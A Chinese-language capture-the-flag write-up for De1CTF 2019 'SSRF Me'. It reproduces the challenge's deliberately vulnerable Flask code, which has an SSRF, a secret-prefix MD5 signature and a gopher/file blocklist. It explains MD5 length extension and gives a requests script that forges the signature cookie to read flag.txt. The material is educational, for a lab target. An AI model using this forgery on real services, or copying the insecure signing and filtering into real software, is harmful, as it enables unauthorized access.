[De1CTF 2019]SSRF Me
1.题目:
2.过程:
进入题目,大概是一坨python的代码……拖到编译器里手动格式化一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
|
from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json
reload(sys)
sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16)
class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox)
def Exec(self): result = {}
result['code'] = 500 if (self.checkSign()): if"scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp
tmpfile.write(resp) tmpfile.close() result['code'] = 200
if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
def checkSign(self): if(getSign(self.action, self.param) == self.sign): return True else: return False
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan"
@app.route('/De1ta', methods=['GET', 'POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) \
@app.route('/') def index(): return open("code.txt", "r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout"
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content): return hashlib.md5(content).hexdigest()
def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0', port=80)
|
还是挺乱的……能看懂就行……
先看路由:
1 2 3 4
| @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) ※action = "scan"
|
调用了getSign:
1 2
| def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
|
也就是说,访问/geneSign,会根据secert_key、param、action生成MD5的签名
action的默认值为scan
1 2 3 4 5 6 7 8 9
| @app.route('/De1ta', methods=['GET', 'POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr ※if (waf(param)): return "No Hacker!!!!" ※task = Task(action, param, sign, ip) return json.dumps(task.Exec()) \
|
walf:
1 2 3 4 5 6
| def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
|
class task和Exec:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox)
def Exec(self): result = {} result['code'] = 500 ※if (self.checkSign()): if"scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200
if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
|
在核对签名后,如果scan在action中,则scan读取param并存放到result.txt中
如果read在action中,则read读取并显示result.txt……大概是这个意思
想read就要伪造签名,这里存在一种攻击方式:
哈希长度扩展攻击
想要了解这种攻击方式,就要了解哈希:
1.HASH:
Hash,一般翻译做散列、杂凑,或音译为哈希,是把任意长度的输入(又叫做预映射pre-image)通过散列算法变换成固定长度的输出,该输出就是散列值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。基于Merkle–Damgård结构。
2.例如:MD5
一般md5在签名时会是这样的:
md5(key+data)
我们不知道key,但是data是可以控制的
如果同时我们知道了key的长度就可以无需key,计算出md5(key+data+attach)
attach就是我们任意附加的字段。
md5在加密时,data按照512位分块处理,最后一块不满512位的处理:
- data+padding+length(data):总长度为64字节;
- length(data):8字节,64位长,描述data原始信息的长度,按照小端储存;
- padding:填充,根据“\80”+(“\x00”)*x,使得达到448位长度。
这样,数据就可以分块计算了。
MD5规定了有初始计算向量,向量依次与每个数据块计算,每计算一次,得到新的向量。
新的向量会覆盖掉初始向量,成为下个数据块的计算向量。最后的计算向量处理后就是最终的md5值。
而我们已知的md5(key+data)就相当于已知前一个数据块计算后得到的计算向量。
在key长度已知的情况下,我们只要人为补充padding,就可以使attach成为下一个数据块内容,
在key参与下计算的向量一定是正确的,也就确保拿已知md5继续计算下去得到的md5是正确的。
我们拿到md5值后,就可以完成验证,完成哈希长度扩展攻击攻击了。
hashpump
em……这个本地实现还挺难搞的……,hashpump工具可以轻松完成这些工作🐕!
使用也十分简介明了,已知md5,data,key的长度,附加字段,就可以生成对应md5和填充好的数据
解题
可以看到key的长度,同时根据hint,param为flag.txt,共24位。attach自然是read
1 2 3 4 5 6 7 8 9
| @app.route('/De1ta', methods=['GET', 'POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) \
|
向/De1ta页面的cookie字段提交sign和action即可:
1 2 3 4 5 6 7 8 9 10 11
| import requests
url = 'http://9c8d9029-c3f0-495e-a6b1-d806896df4a2.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = { 'sign': '2b865fed1aca31784de5754a868533a3', 'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read' } res = requests.get(url=url, cookies=cookies) print(res.text)
|
ok